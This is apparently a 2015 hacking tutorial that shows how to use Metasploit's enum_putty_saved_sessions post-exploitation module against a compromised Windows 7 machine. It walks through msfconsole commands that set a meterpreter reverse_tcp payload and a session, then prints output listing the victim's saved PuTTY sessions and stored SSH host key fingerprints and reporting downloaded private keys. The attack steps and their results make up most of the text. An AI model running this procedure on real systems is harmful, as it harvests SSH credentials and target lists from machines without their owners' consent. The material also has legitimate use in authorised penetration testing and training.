# How to Hack Saved sessions in Putty using Metasploit

hackingarticles.in/how-to-hack-saved-sessions-in-putty-using-metasploit

Raj September 18, 2015

This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session information from the registry. PuTTY is very configurable; some users may have configured saved sessions which could include a username, private key file to use when authenticating, host name etc. If a private key is configured, an attempt will be made to download and store it in loot. It will also record the SSH host keys which have been stored. These will be connections that the user has previously after accepting the host SSH fingerprint and therefore are of particular interest if they are within scope of a penetration test.

**Exploit Targets**

Putty

**Requirement**

**Attacker**: kali Linux

**Victim PC**: Windows 7

Open Kali terminal type **msfconsole**


Now type **use post/windows/gather/enum_putty_saved_sessions**

**msf exploit** (**enum_putty_saved_sessions**)>**set payload windows/meterpreter/reverse_tcp**

**msf exploit** (**enum_putty_saved_sessions**)>**set lhost 192.168.0.121** (IP of Local Host)

**msf exploit** (**enum_putty_saved_sessions**)>**set session 1**

**msf exploit** (**enum_putty_saved_sessions**)>**exploit**

```
msf > use post/windows/gather/enum_putty_saved_sessions
msf post(enum_putty_saved_sessions) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf post(enum_putty_saved_sessions) > set lhost 192.168.0.121
lhost => 192.168.0.121
msf post(enum_putty_saved_sessions) > set session 1
session => 1
msf post(enum_putty_saved_sessions) > exploit

[*] Looking for saved PuTTY sessions
[*] Found 3 sessions

PuTTY Saved Sessions
====================

 Name          HostName  UserName  PublicKeyFile  PortNumber  PortForwardings
 ----          --------  --------  -------------  ----------  ---------------
 192.168.0.5                                      22
 192.168.1.3                                      22
 203.110.93.3                                     22

[*] PuTTY saved sessions list saved to /root/.msf4/loot/20150918130025_default_192.168.
0.120_putty.sessions.c_052571.txt in CSV format & available in notes (use 'notes -t put
ty.savedsession' to view).
[*] Downloading private keys...

[*] Looking for previously stored SSH host key fingerprints
[*] Found 3 stored key fingerprints
```

The above exploit will save all session in the specified folder. Open the folder and click on session file. It will show us the session information.

```
Stored SSH host key fingerprints
================================

 SSH Endpoint      Key Type(s)
 ------------      -----------
 192.168.1.33:22   rsa2
 192.168.0.121:22  rsa2
 192.168.1.3:22    rsa2

[*] PuTTY stored host keys list saved to /root/.msf4/loot/20150918130026_default_192.16
8.0.120_putty.storedfing_979541.txt in CSV format & available in notes (use 'notes -t p
utty.storedfingerprint' to view).

[*] Looking for Pageant...
[+] Pageant is running (Handle 0x0)
[*] Post module execution completed
```